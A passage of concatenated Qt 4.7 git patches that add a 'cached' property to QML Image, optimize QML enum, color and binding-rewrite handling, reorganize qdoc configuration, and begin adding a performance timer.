+/*! + \qmlproperty bool Image::cached + \since Quick 1.1 + + Specifies that the image should be cached. The default value is + true. Setting \a cached to false is useful when dealing with large images, + to make sure that they aren't cached at the expense of small 'ui element' images. +*/ + void QDeclarativeImage::paint(QPainter *p, const QStyleOptionGraphicsItem *, QWidget *) { Q_D(QDeclarativeImage); diff --git a/src/declarative/graphicsitems/qdeclarativeimagebase.cpp b/src/declarative/graphicsitems/qdeclarativeimagebase.cpp index c3bac2d..37b0734 100644 --- a/src/declarative/graphicsitems/qdeclarativeimagebase.cpp +++ b/src/declarative/graphicsitems/qdeclarativeimagebase.cpp @@ -128,6 +128,24 @@ QSize QDeclarativeImageBase::sourceSize() const return QSize(width != -1 ? width : implicitWidth(), height != -1 ? height : implicitHeight()); } +bool QDeclarativeImageBase::cached() const +{ + Q_D(const QDeclarativeImageBase); + return d->cached; +} + +void QDeclarativeImageBase::setCached(bool cached) +{ + Q_D(QDeclarativeImageBase); + if (d->cached == cached) + return; + + d->cached = cached; + emit cachedChanged(); + if (isComponentComplete()) + load(); +} + void QDeclarativeImageBase::load() { Q_D(QDeclarativeImageBase); @@ -143,7 +161,12 @@ void QDeclarativeImageBase::load() pixmapChange(); update(); } else { - d->pix.load(qmlEngine(this), d->url, d->explicitSourceSize ? sourceSize() : QSize(), d->async); + QDeclarativePixmap::Options options; + if (d->async) + options |= QDeclarativePixmap::Asynchronous; + if (d->cached) + options |= QDeclarativePixmap::Cached; + d->pix.load(qmlEngine(this), d->url, d->explicitSourceSize ? sourceSize() : QSize(), options); if (d->pix.isLoading()) { d->progress = 0.0; diff --git a/src/declarative/graphicsitems/qdeclarativeimagebase_p.h b/src/declarative/graphicsitems/qdeclarativeimagebase_p.h index 68eb8d0..d25f7c3 100644 --- a/src/declarative/graphicsitems/qdeclarativeimagebase_p.h +++ b/src/declarative/graphicsitems/qdeclarativeimagebase_p.h @@ -58,6 +58,7 @@ class Q_AUTOTEST_EXPORT QDeclarativeImageBase : public QDeclarativeItem Q_PROPERTY(QUrl source READ source WRITE setSource NOTIFY sourceChanged) Q_PROPERTY(qreal progress READ progress NOTIFY progressChanged) Q_PROPERTY(bool asynchronous READ asynchronous WRITE setAsynchronous NOTIFY asynchronousChanged) + Q_PROPERTY(bool cached READ cached WRITE setCached NOTIFY cachedChanged) // ### VERSIONING: Only in QtQuick 1.1 Q_PROPERTY(QSize sourceSize READ sourceSize WRITE setSourceSize NOTIFY sourceSizeChanged) public: @@ -72,6 +73,9 @@ public: bool asynchronous() const; void setAsynchronous(bool); + bool cached() const; + void setCached(bool); + virtual void setSourceSize(const QSize&); QSize sourceSize() const; @@ -81,6 +85,7 @@ Q_SIGNALS: void statusChanged(QDeclarativeImageBase::Status); void progressChanged(qreal progress); void asynchronousChanged(); + void cachedChanged(); protected: virtual void load(); diff --git a/src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h b/src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h index 3d23ba9..a539649 100644 --- a/src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h +++ b/src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h @@ -70,7 +70,8 @@ public: : status(QDeclarativeImageBase::Null), progress(0.0), explicitSourceSize(false), - async(false) + async(false), + cached(true) { QGraphicsItemPrivate::flags = QGraphicsItemPrivate::flags & ~QGraphicsItem::ItemHasNoContents; } @@ -82,6 +83,7 @@ public: QSize sourcesize; bool explicitSourceSize : 1; bool async : 1; + bool cached : 1; }; QT_END_NAMESPACE diff --git a/src/declarative/util/qdeclarativepixmapcache.cpp b/src/declarative/util/qdeclarativepixmapcache.cpp index a07b1bb..5ef568f 100644 --- a/src/declarative/util/qdeclarativepixmapcache.cpp +++ b/src/declarative/util/qdeclarativepixmapcache.cpp @@ -959,20 +959,20 @@ QRect QDeclarativePixmap::rect() const void QDeclarativePixmap::load(QDeclarativeEngine *engine, const QUrl &url) { - load(engine, url, QSize(), false); + load(engine, url, QSize(), QDeclarativePixmap::Cached); } -void QDeclarativePixmap::load(QDeclarativeEngine *engine, const QUrl &url, bool async) +void QDeclarativePixmap::load(QDeclarativeEngine *engine, const QUrl &url, QDeclarativePixmap::Options options) { - load(engine, url, QSize(), async); + load(engine, url, QSize(), options); } void QDeclarativePixmap::load(QDeclarativeEngine *engine, const QUrl &url, const QSize &size) { - load(engine, url, size, false); + load(engine, url, size, QDeclarativePixmap::Cached); } -void QDeclarativePixmap::load(QDeclarativeEngine *engine, const QUrl &url, const QSize &requestSize, bool async) +void QDeclarativePixmap::load(QDeclarativeEngine *engine, const QUrl &url, const QSize &requestSize, QDeclarativePixmap::Options options) { if (d) { d->release(); d = 0; } @@ -982,19 +982,20 @@ void QDeclarativePixmap::load(QDeclarativeEngine *engine, const QUrl &url, const QHash::Iterator iter = store->m_cache.find(key); if (iter == store->m_cache.end()) { - if (async) { + if (options & QDeclarativePixmap::Asynchronous) { // pixmaps can only be loaded synchronously if (url.scheme() == QLatin1String("image") && QDeclarativeEnginePrivate::get(engine)->getImageProviderType(url) == QDeclarativeImageProvider::Pixmap) { - async = false; + options &= ~QDeclarativePixmap::Asynchronous; } } - if (!async) { + if (!(options & QDeclarativePixmap::Asynchronous)) { bool ok = false; d = createPixmapDataSync(engine, url, requestSize, &ok); if (ok) { - d->addToCache(); + if (options & QDeclarativePixmap::Cached) + d->addToCache(); return; } if (d) // loadable, but encountered error while loading @@ -1007,7 +1008,8 @@ void QDeclarativePixmap::load(QDeclarativeEngine *engine, const QUrl &url, const QDeclarativePixmapReader *reader = QDeclarativePixmapReader::instance(engine); d = new QDeclarativePixmapData(url, requestSize); - d->addToCache(); + if (options & QDeclarativePixmap::Cached) + d->addToCache(); d->reply = reader->getImage(d); } else { diff --git a/src/declarative/util/qdeclarativepixmapcache_p.h b/src/declarative/util/qdeclarativepixmapcache_p.h index 2e83cc4..9e1016f 100644 --- a/src/declarative/util/qdeclarativepixmapcache_p.h +++ b/src/declarative/util/qdeclarativepixmapcache_p.h @@ -66,6 +66,12 @@ public: enum Status { Null, Ready, Error, Loading }; + enum Option { + Asynchronous = 0x00000001, + Cached = 0x00000002 + }; + Q_DECLARE_FLAGS(Options, Option) + bool isNull() const; bool isReady() const; bool isError() const; @@ -85,9 +91,9 @@ public: inline operator const QPixmap &() const; void load(QDeclarativeEngine *, const QUrl &); - void load(QDeclarativeEngine *, const QUrl &, bool); + void load(QDeclarativeEngine *, const QUrl &, QDeclarativePixmap::Options options); void load(QDeclarativeEngine *, const QUrl &, const QSize &); - void load(QDeclarativeEngine *, const QUrl &, const QSize &, bool); + void load(QDeclarativeEngine *, const QUrl &, const QSize &, QDeclarativePixmap::Options options); void clear(); void clear(QObject *); @@ -107,6 +113,8 @@ inline QDeclarativePixmap::operator const QPixmap &() const return pixmap(); } +Q_DECLARE_OPERATORS_FOR_FLAGS(QDeclarativePixmap::Options) + QT_END_NAMESPACE QT_END_HEADER diff --git a/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp b/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp index bf779ad..3cee976 100644 --- a/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp +++ b/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp @@ -123,19 +123,21 @@ void tst_qdeclarativeimage::imageSource_data() QTest::addColumn("height"); QTest::addColumn("remote"); QTest::addColumn("async"); + QTest::addColumn("cached"); QTest::addColumn("error"); - QTest::newRow("local") << QUrl::fromLocalFile(SRCDIR "/data/colors.png").toString() << 120.0 << 120.0 << false << false << ""; - QTest::newRow("local async") << QUrl::fromLocalFile(SRCDIR "/data/colors1.png").toString() << 120.0 << 120.0 << false << true << ""; + QTest::newRow("local") << QUrl::fromLocalFile(SRCDIR "/data/colors.png").toString() << 120.0 << 120.0 << false << false << true << ""; + QTest::newRow("local no cache") << QUrl::fromLocalFile(SRCDIR "/data/colors.png").toString() << 120.0 << 120.0 << false << false << false << ""; + QTest::newRow("local async") << QUrl::fromLocalFile(SRCDIR "/data/colors1.png").toString() << 120.0 << 120.0 << false << true << true << ""; QTest::newRow("local not found") << QUrl::fromLocalFile(SRCDIR "/data/no-such-file.png").toString() << 0.0 << 0.0 << false - << false << "file::2:1: QML Image: Cannot open: " + QUrl::fromLocalFile(SRCDIR "/data/no-such-file.png").toString(); + << false << true << "file::2:1: QML Image: Cannot open: " + QUrl::fromLocalFile(SRCDIR "/data/no-such-file.png").toString(); QTest::newRow("local async not found") << QUrl::fromLocalFile(SRCDIR "/data/no-such-file-1.png").toString() << 0.0 << 0.0 << false - << true << "file::2:1: QML Image: Cannot open: " + QUrl::fromLocalFile(SRCDIR "/data/no-such-file-1.png").toString(); - QTest::newRow("remote") << SERVER_ADDR "/colors.png" << 120.0 << 120.0 << true << false << ""; - QTest::newRow("remote redirected") << SERVER_ADDR "/oldcolors.png" << 120.0 << 120.0 << true << false << ""; - QTest::newRow("remote svg") << SERVER_ADDR "/heart.svg" << 550.0 << 500.0 << true << false << ""; + << true << true << "file::2:1: QML Image: Cannot open: " + QUrl::fromLocalFile(SRCDIR "/data/no-such-file-1.png").toString(); + QTest::newRow("remote") << SERVER_ADDR "/colors.png" << 120.0 << 120.0 << true << false << true << ""; + QTest::newRow("remote redirected") << SERVER_ADDR "/oldcolors.png" << 120.0 << 120.0 << true << false << false << ""; + QTest::newRow("remote svg") << SERVER_ADDR "/heart.svg" << 550.0 << 500.0 << true << false << false << ""; QTest::newRow("remote not found") << SERVER_ADDR "/no-such-file.png" << 0.0 << 0.0 << true - << false << "file::2:1: QML Image: Error downloading " SERVER_ADDR "/no-such-file.png - server replied: Not found"; + << false << true << "file::2:1: QML Image: Error downloading " SERVER_ADDR "/no-such-file.png - server replied: Not found"; } @@ -146,6 +148,7 @@ void tst_qdeclarativeimage::imageSource() QFETCH(double, height); QFETCH(bool, remote); QFETCH(bool, async); + QFETCH(bool, cached); QFETCH(QString, error); TestHTTPServer server(SERVER_PORT); @@ -159,7 +162,8 @@ void tst_qdeclarativeimage::imageSource() QTest::ignoreMessage(QtWarningMsg, error.toUtf8()); QString componentStr = "import QtQuick 1.0\nImage { source: \"" + source + "\"; asynchronous: " - + (async ? QLatin1String("true") : QLatin1String("false")) + " }"; + + (async ? QLatin1String("true") : QLatin1String("false")) + "; cached: " + + (cached ? QLatin1String("true") : QLatin1String("false")) + " }"; QDeclarativeComponent component(&engine); component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); QDeclarativeImage *obj = qobject_cast(component.create()); @@ -167,6 +171,13 @@ void tst_qdeclarativeimage::imageSource() if (async) QVERIFY(obj->asynchronous() == true); + else + QVERIFY(obj->asynchronous() == false); + + if (cached) + QVERIFY(obj->cached() == true); + else + QVERIFY(obj->cached() == false); if (remote || async) QTRY_VERIFY(obj->status() == QDeclarativeImage::Loading); -- cgit v0.12 From f809dc1b16d6a56c1a2d57997748bddb313f7f4c Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Fri, 12 Nov 2010 13:44:06 +1000 Subject: Small optimization of enum detection in script. Reviewed-by: Martin Jones --- src/declarative/qml/qdeclarativetypenamescriptclass.cpp | 5 ++--- src/script/bridge/qscriptdeclarativeclass.cpp | 8 ++++++++ src/script/bridge/qscriptdeclarativeclass_p.h | 1 + 3 files changed, 11 insertions(+), 3 deletions(-) diff --git a/src/declarative/qml/qdeclarativetypenamescriptclass.cpp b/src/declarative/qml/qdeclarativetypenamescriptclass.cpp index cba7b4a..e93aae2 100644 --- a/src/declarative/qml/qdeclarativetypenamescriptclass.cpp +++ b/src/declarative/qml/qdeclarativetypenamescriptclass.cpp @@ -109,9 +109,8 @@ QDeclarativeTypeNameScriptClass::queryProperty(Object *obj, const Identifier &na } else if (data->type) { - QString strName = toString(name); - - if (strName.at(0).isUpper()) { + if (startsWithUpper(name)) { + QString strName = toString(name); // Must be an enum if (data->mode == IncludeEnums) { // ### Optimize diff --git a/src/script/bridge/qscriptdeclarativeclass.cpp b/src/script/bridge/qscriptdeclarativeclass.cpp index 8080b9f..92248a0 100644 --- a/src/script/bridge/qscriptdeclarativeclass.cpp +++ b/src/script/bridge/qscriptdeclarativeclass.cpp @@ -468,6 +468,14 @@ QString QScriptDeclarativeClass::toString(const Identifier &identifier) return QString((QChar *)r->data(), r->size()); } +bool QScriptDeclarativeClass::startsWithUpper(const Identifier &identifier) +{ + JSC::UString::Rep *r = (JSC::UString::Rep *)identifier; + if (r->size() < 1) + return false; + return QChar::category(r->data()[0]) == QChar::Letter_Uppercase; +} + quint32 QScriptDeclarativeClass::toArrayIndex(const Identifier &identifier, bool *ok) { JSC::UString::Rep *r = (JSC::UString::Rep *)identifier; diff --git a/src/script/bridge/qscriptdeclarativeclass_p.h b/src/script/bridge/qscriptdeclarativeclass_p.h index 420b133..fe38eeb 100644 --- a/src/script/bridge/qscriptdeclarativeclass_p.h +++ b/src/script/bridge/qscriptdeclarativeclass_p.h @@ -126,6 +126,7 @@ public: PersistentIdentifier createPersistentIdentifier(const Identifier &); QString toString(const Identifier &); + bool startsWithUpper(const Identifier &); quint32 toArrayIndex(const Identifier &, bool *ok); virtual QScriptClass::QueryFlags queryProperty(Object *, const Identifier &, -- cgit v0.12 From f2cd51abd592a4da45892e42f0d38803e7c1620e Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Tue, 16 Nov 2010 10:15:05 +1000 Subject: Treat easing.type: Easing.InOutQuad as a literal assignment, not binding This was already being done for most enum assignments, but wasn't being done for value types. This patch extends the optimization for enums in a value type. Reviewed-by: Martin Jones --- src/declarative/qml/qdeclarativecompiler.cpp | 34 ++++++++++++++++++++-------- 1 file changed, 25 insertions(+), 9 deletions(-) diff --git a/src/declarative/qml/qdeclarativecompiler.cpp b/src/declarative/qml/qdeclarativecompiler.cpp index b2740b8..b371f52 100644 --- a/src/declarative/qml/qdeclarativecompiler.cpp +++ b/src/declarative/qml/qdeclarativecompiler.cpp @@ -1836,14 +1836,22 @@ bool QDeclarativeCompiler::buildValueTypeProperty(QObject *type, COMPILE_EXCEPTION(prop, tr("Unexpected object assignment")); } else if (value->value.isScript()) { // ### Check for writability - BindingReference reference; - reference.expression = value->value; - reference.property = prop; - reference.value = value; - reference.bindingContext = ctxt; - reference.bindingContext.owner++; - addBindingReference(reference); - value->type = Value::PropertyBinding; + + //optimization for . enum assignments + bool isEnumAssignment = false; + COMPILE_CHECK(testQualifiedEnumAssignment(p, obj, value, &isEnumAssignment)); + if (isEnumAssignment) { + value->type = Value::Literal; + } else { + BindingReference reference; + reference.expression = value->value; + reference.property = prop; + reference.value = value; + reference.bindingContext = ctxt; + reference.bindingContext.owner++; + addBindingReference(reference); + value->type = Value::PropertyBinding; + } } else { COMPILE_CHECK(testLiteralAssignment(p, value)); value->type = Value::Literal; @@ -2138,7 +2146,15 @@ bool QDeclarativeCompiler::testQualifiedEnumAssignment(const QMetaProperty &prop QDeclarativeType *type = 0; unit->imports().resolveType(typeName.toUtf8(), &type, 0, 0, 0, 0); - if (!type || obj->typeName != type->qmlTypeName()) + //handle enums on value types (where obj->typeName is empty) + QByteArray objTypeName = obj->typeName; + if (objTypeName.isEmpty()) { + QDeclarativeType *objType = toQmlType(obj); + if (objType) + objTypeName = objType->qmlTypeName(); + } + + if (!type || objTypeName != type->qmlTypeName()) return true; QString enumValue = parts.at(1); -- cgit v0.12 From 463786121871c7b0934949f4fcb8ef8b4d64712f Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Tue, 16 Nov 2010 15:44:11 +1000 Subject: Optimize string->color conversion in QML. Reviewed-by: Martin Jones --- src/declarative/qml/qdeclarativestringconverters.cpp | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/src/declarative/qml/qdeclarativestringconverters.cpp b/src/declarative/qml/qdeclarativestringconverters.cpp index 7534a2c..55fae87 100644 --- a/src/declarative/qml/qdeclarativestringconverters.cpp +++ b/src/declarative/qml/qdeclarativestringconverters.cpp @@ -136,7 +136,7 @@ QVariant QDeclarativeStringConverters::variantFromString(const QString &s, int p QColor QDeclarativeStringConverters::colorFromString(const QString &s, bool *ok) { - if (s.startsWith(QLatin1Char('#')) && s.length() == 9) { + if (s.length() == 9 && s.startsWith(QLatin1Char('#'))) { uchar a = fromHex(s, 1); uchar r = fromHex(s, 3); uchar g = fromHex(s, 5); @@ -144,9 +144,7 @@ QColor QDeclarativeStringConverters::colorFromString(const QString &s, bool *ok) if (ok) *ok = true; return QColor(r, g, b, a); } else { - QColor rv; - if (s.startsWith(QLatin1Char('#')) || QColor::colorNames().contains(s.toLower())) - rv = QColor(s); + QColor rv(s); if (ok) *ok = rv.isValid(); return rv; } -- cgit v0.12 From e8e28735046d419463e235a58a7c4c88d04163db Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Tue, 16 Nov 2010 15:46:39 +1000 Subject: Optimize test for sharable bindings. Reviewed-by: Martin Jones --- src/declarative/qml/qdeclarativecompiler.cpp | 7 ++----- src/declarative/qml/qdeclarativerewrite.cpp | 13 +++++++++++-- src/declarative/qml/qdeclarativerewrite_p.h | 3 ++- 3 files changed, 15 insertions(+), 8 deletions(-) diff --git a/src/declarative/qml/qdeclarativecompiler.cpp b/src/declarative/qml/qdeclarativecompiler.cpp index b371f52..3e63bb1 100644 --- a/src/declarative/qml/qdeclarativecompiler.cpp +++ b/src/declarative/qml/qdeclarativecompiler.cpp @@ -2800,13 +2800,10 @@ bool QDeclarativeCompiler::completeComponentBuild() // Pre-rewrite the expression QString expression = binding.expression.asScript(); - // ### Optimize - QDeclarativeRewrite::SharedBindingTester sharableTest; - bool isSharable = sharableTest.isSharable(expression); - QDeclarativeRewrite::RewriteBinding rewriteBinding; rewriteBinding.setName('$'+binding.property->name); - expression = rewriteBinding(expression); + bool isSharable = false; + expression = rewriteBinding(expression,0,&isSharable); quint32 length = expression.length(); quint32 pc; diff --git a/src/declarative/qml/qdeclarativerewrite.cpp b/src/declarative/qml/qdeclarativerewrite.cpp index bc9a114..80b9ab2 100644 --- a/src/declarative/qml/qdeclarativerewrite.cpp +++ b/src/declarative/qml/qdeclarativerewrite.cpp @@ -62,12 +62,17 @@ bool SharedBindingTester::isSharable(const QString &code) if (!parser.statement()) return false; + return isSharable(parser.statement()); +} + +bool SharedBindingTester::isSharable(AST::Statement *statement) +{ _sharable = true; - AST::Node::acceptChild(parser.statement(), this); + AST::Node::acceptChild(statement, this); return _sharable; } -QString RewriteBinding::operator()(const QString &code, bool *ok) +QString RewriteBinding::operator()(const QString &code, bool *ok, bool *sharable) { Engine engine; NodePool pool(QString(), &engine); @@ -80,6 +85,10 @@ QString RewriteBinding::operator()(const QString &code, bool *ok) return QString(); } else { if (ok) *ok = true; + if (sharable) { + SharedBindingTester tester; + *sharable = tester.isSharable(parser.statement()); + } } return rewrite(code, 0, parser.statement()); } diff --git a/src/declarative/qml/qdeclarativerewrite_p.h b/src/declarative/qml/qdeclarativerewrite_p.h index 6f3c46e..40c8321 100644 --- a/src/declarative/qml/qdeclarativerewrite_p.h +++ b/src/declarative/qml/qdeclarativerewrite_p.h @@ -68,6 +68,7 @@ class SharedBindingTester : protected AST::Visitor bool _sharable; public: bool isSharable(const QString &code); + bool isSharable(AST::Statement *statement); virtual bool visit(AST::FunctionDeclaration *) { _sharable = false; return false; } virtual bool visit(AST::FunctionExpression *) { _sharable = false; return false; } @@ -81,7 +82,7 @@ class RewriteBinding: protected AST::Visitor QByteArray _name; public: - QString operator()(const QString &code, bool *ok = 0); + QString operator()(const QString &code, bool *ok = 0, bool *sharable = 0); //name of the function: used for the debugger void setName(const QByteArray &name) { _name = name; } -- cgit v0.12 From 8657a92378ebf878c394944956af38905decbd0a Mon Sep 17 00:00:00 2001 From: David Boddie Date: Thu, 18 Nov 2010 19:26:01 +0100 Subject: Moved style-specific declarations. Removed script declarations. --- tools/qdoc3/test/qt-html-default-styles.qdocconf | 7 ++-- tools/qdoc3/test/qt-html-templates-online.qdocconf | 38 +++++++++++++++++++++ tools/qdoc3/test/qt-html-templates.qdocconf | 29 ++++++++++++++++ tools/qdoc3/test/qt-project.qdocconf | 39 ---------------------- 4 files changed, 70 insertions(+), 43 deletions(-) diff --git a/tools/qdoc3/test/qt-html-default-styles.qdocconf b/tools/qdoc3/test/qt-html-default-styles.qdocconf index 103f1e0..30c28cb 100644 --- a/tools/qdoc3/test/qt-html-default-styles.qdocconf +++ b/tools/qdoc3/test/qt-html-default-styles.qdocconf @@ -4,11 +4,10 @@ HTML.templatedir = $QT_SOURCE_TREE/doc/src/template -HTML.stylesheets = style/style.css - -HTML.scripts = scripts/functions.js \ - scripts/narrow.js \ +HTML.stylesheets = style/style.css \ + style/narrow.css +HTML.scripts = # Files not referenced in any qdoc file (last four needed by qtdemo) # See also qhp.Qt.extraFiles diff --git a/tools/qdoc3/test/qt-html-templates-online.qdocconf b/tools/qdoc3/test/qt-html-templates-online.qdocconf index 64f99ad..7ed8c90 100644 --- a/tools/qdoc3/test/qt-html-templates-online.qdocconf +++ b/tools/qdoc3/test/qt-html-templates-online.qdocconf @@ -196,3 +196,41 @@ HTML.footer = \ " var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);\n" \ " })();\n" \ " \n" + + +# Files not referenced in any qdoc file (last four are needed by qtdemo) +# See also extraimages.HTML +qhp.Qt.extraFiles = index.html \ + images/bg_l.png \ + images/bg_l_blank.png \ + images/bg_ll_blank.png \ + images/bg_ul_blank.png \ + images/header_bg.png \ + images/bg_r.png \ + images/box_bg.png \ + images/breadcrumb.png \ + images/bullet_gt.png \ + images/bullet_dn.png \ + images/bullet_sq.png \ + images/bullet_up.png \ + images/arrow_down.png \ + images/feedbackground.png \ + images/horBar.png \ + images/page.png \ + images/page_bg.png \ + images/sprites-combined.png \ + images/spinner.gif \ + images/stylesheet-coffee-plastique.png \ + images/taskmenuextension-example.png \ + images/coloreditorfactoryimage.png \ + images/dynamiclayouts-example.png \ + scripts/functions.js \ + scripts/jquery.js \ + scripts/narrow.js \ + scripts/superfish.js \ + style/narrow.css \ + style/superfish.css \ + style/style_ie6.css \ + style/style_ie7.css \ + style/style_ie8.css \ + style/style.css diff --git a/tools/qdoc3/test/qt-html-templates.qdocconf b/tools/qdoc3/test/qt-html-templates.qdocconf index 5a2058a..bbd1b21 100644 --- a/tools/qdoc3/test/qt-html-templates.qdocconf +++ b/tools/qdoc3/test/qt-html-templates.qdocconf @@ -46,3 +46,32 @@ HTML.footer = \ " Free Documentation License version 1.3\n" \ " as published by the Free Software Foundation.

    \n" \ "
    \n" \ + +# Files not referenced in any qdoc file (last four are needed by qtdemo) +# See also extraimages.HTML +qhp.Qt.extraFiles = index.html \ + images/bg_l.png \ + images/bg_l_blank.png \ + images/bg_ll_blank.png \ + images/bg_ul_blank.png \ + images/header_bg.png \ + images/bg_r.png \ + images/box_bg.png \ + images/breadcrumb.png \ + images/bullet_gt.png \ + images/bullet_dn.png \ + images/bullet_sq.png \ + images/bullet_up.png \ + images/arrow_down.png \ + images/feedbackground.png \ + images/horBar.png \ + images/page.png \ + images/page_bg.png \ + images/sprites-combined.png \ + images/spinner.gif \ + images/stylesheet-coffee-plastique.png \ + images/taskmenuextension-example.png \ + images/coloreditorfactoryimage.png \ + images/dynamiclayouts-example.png \ + style/narrow.css \ + style/style.css diff --git a/tools/qdoc3/test/qt-project.qdocconf b/tools/qdoc3/test/qt-project.qdocconf index 7531b76..be2a227 100644 --- a/tools/qdoc3/test/qt-project.qdocconf +++ b/tools/qdoc3/test/qt-project.qdocconf @@ -19,45 +19,6 @@ qhp.Qt.virtualFolder = qdoc qhp.Qt.indexTitle = Qt Reference Documentation qhp.Qt.indexRoot = -# Files not referenced in any qdoc file (last four are needed by qtdemo) -# See also extraimages.HTML -qhp.Qt.extraFiles = index.html \ - images/bg_l.png \ - images/bg_l_blank.png \ - images/bg_ll_blank.png \ - images/bg_ul_blank.png \ - images/header_bg.png \ - images/bg_r.png \ - images/box_bg.png \ - images/breadcrumb.png \ - images/bullet_gt.png \ - images/bullet_dn.png \ - images/bullet_sq.png \ - images/bullet_up.png \ - images/arrow_down.png \ - images/feedbackground.png \ - images/horBar.png \ - images/page.png \ - images/page_bg.png \ - images/sprites-combined.png \ - images/spinner.gif \ - images/stylesheet-coffee-plastique.png \ - images/taskmenuextension-example.png \ - images/coloreditorfactoryimage.png \ - images/dynamiclayouts-example.png \ - scripts/functions.js \ - scripts/jquery.js \ - scripts/narrow.js \ - scripts/superfish.js \ - style/narrow.css \ - style/superfish.css \ - style/style_ie6.css \ - style/style_ie7.css \ - style/style_ie8.css \ - style/style.css - - - qhp.Qt.filterAttributes = qt 4.7.1 qtrefdoc qhp.Qt.customFilters.Qt.name = Qt 4.7.1 qhp.Qt.customFilters.Qt.filterAttributes = qt 4.7.1 -- cgit v0.12 From 03c671e557a59a2c908cb8241c7ad5c31536841d Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Thu, 18 Nov 2010 14:26:33 +1000 Subject: Optimize binding rewrites. Use the existing AST rather than recreating it. Task-number: QTBUG-15331 Reviewed-by: Aaron Kennedy --- src/declarative/qml/qdeclarativecompiler.cpp | 2 +- src/declarative/qml/qdeclarativerewrite.cpp | 53 ++++++++++++++++++++++++++-- src/declarative/qml/qdeclarativerewrite_p.h | 3 +- 3 files changed, 54 insertions(+), 4 deletions(-) diff --git a/src/declarative/qml/qdeclarativecompiler.cpp b/src/declarative/qml/qdeclarativecompiler.cpp index 3e63bb1..d590d11 100644 --- a/src/declarative/qml/qdeclarativecompiler.cpp +++ b/src/declarative/qml/qdeclarativecompiler.cpp @@ -2803,7 +2803,7 @@ bool QDeclarativeCompiler::completeComponentBuild() QDeclarativeRewrite::RewriteBinding rewriteBinding; rewriteBinding.setName('$'+binding.property->name); bool isSharable = false; - expression = rewriteBinding(expression,0,&isSharable); + expression = rewriteBinding(binding.expression.asAST(), expression, &isSharable); quint32 length = expression.length(); quint32 pc; diff --git a/src/declarative/qml/qdeclarativerewrite.cpp b/src/declarative/qml/qdeclarativerewrite.cpp index 80b9ab2..219674f 100644 --- a/src/declarative/qml/qdeclarativerewrite.cpp +++ b/src/declarative/qml/qdeclarativerewrite.cpp @@ -65,10 +65,10 @@ bool SharedBindingTester::isSharable(const QString &code) return isSharable(parser.statement()); } -bool SharedBindingTester::isSharable(AST::Statement *statement) +bool SharedBindingTester::isSharable(AST::Node *node) { _sharable = true; - AST::Node::acceptChild(statement, this); + AST::Node::acceptChild(node, this); return _sharable; } @@ -93,6 +93,55 @@ QString RewriteBinding::operator()(const QString &code, bool *ok, bool *sharable return rewrite(code, 0, parser.statement()); } +QString RewriteBinding::operator()(QDeclarativeJS::AST::Node *node, const QString &code, bool *sharable) +{ + if (!node) + return code; + + if (sharable) { + SharedBindingTester tester; + *sharable = tester.isSharable(node); + } + + QDeclarativeJS::AST::ExpressionNode *expression = node->expressionCast(); + QDeclarativeJS::AST::Statement *statement = node->statementCast(); + if(!expression && !statement) + return code; + + TextWriter w; + _writer = &w; + _position = expression ? expression->firstSourceLocation().begin() : statement->firstSourceLocation().begin(); + _inLoop = 0; + + accept(node); + + unsigned startOfStatement = 0; + unsigned endOfStatement = (expression ? expression->lastSourceLocation().end() : statement->lastSourceLocation().end()) - _position; + + QString startString = QLatin1String("(function ") + QString::fromUtf8(_name) + QLatin1String("() { "); + if (expression) + startString += QLatin1String("return "); + _writer->replace(startOfStatement, 0, startString); + _writer->replace(endOfStatement, 0, QLatin1String(" })")); + + if (rewriteDump()) { + qWarning() << "============================================================="; + qWarning() << "Rewrote:"; + qWarning() << qPrintable(code); + } + + QString codeCopy = code; + w.write(&codeCopy); + + if (rewriteDump()) { + qWarning() << "To:"; + qWarning() << qPrintable(code); + qWarning() << "============================================================="; + } + + return codeCopy; +} + void RewriteBinding::accept(AST::Node *node) { AST::Node::acceptChild(node, this); diff --git a/src/declarative/qml/qdeclarativerewrite_p.h b/src/declarative/qml/qdeclarativerewrite_p.h index 40c8321..310ef3c 100644 --- a/src/declarative/qml/qdeclarativerewrite_p.h +++ b/src/declarative/qml/qdeclarativerewrite_p.h @@ -68,7 +68,7 @@ class SharedBindingTester : protected AST::Visitor bool _sharable; public: bool isSharable(const QString &code); - bool isSharable(AST::Statement *statement); + bool isSharable(AST::Node *Node); virtual bool visit(AST::FunctionDeclaration *) { _sharable = false; return false; } virtual bool visit(AST::FunctionExpression *) { _sharable = false; return false; } @@ -83,6 +83,7 @@ class RewriteBinding: protected AST::Visitor public: QString operator()(const QString &code, bool *ok = 0, bool *sharable = 0); + QString operator()(QDeclarativeJS::AST::Node *node, const QString &code, bool *sharable = 0); //name of the function: used for the debugger void setName(const QByteArray &name) { _name = name; } -- cgit v0.12 From 3d100ab29820b4dcf14afbcadb05d0bf40fdacbc Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Fri, 29 Oct 2010 15:44:21 +1000 Subject: Add a private high-performance timer for profiling. --- src/declarative/qml/qml.pri | 9 +- src/declarative/qml/qperformancetimer.cpp | 226 +++++++++++++++++++++ src/declarative/qml/qperformancetimer_p.h | 79 +++++++ .../qperformancetimer/qperformancetimer.pro | 7 + .../qperformancetimer/tst_qperformancetimer.cpp | 68 +++++++ .../qperformancetimer/qperformancetimer.pro | 8 + .../qperformancetimer/tst_qperformancetimer.cpp | 89 ++++++++ 7 files changed, 484 insertions(+), 2 deletions(-) create mode 100644 src/declarative/qml/qperformancetimer.cpp create mode 100644 src/declarative/qml/qperformancetimer_p.h create mode 100644 tests/auto/declarative/qperformancetimer/qperformancetimer.pro create mode 100644 tests/auto/declarative/qperformancetimer/tst_qperformancetimer.cpp create mode 100644 tests/benchmarks/declarative/qperformancetimer/qperformancetimer.pro create mode 100644 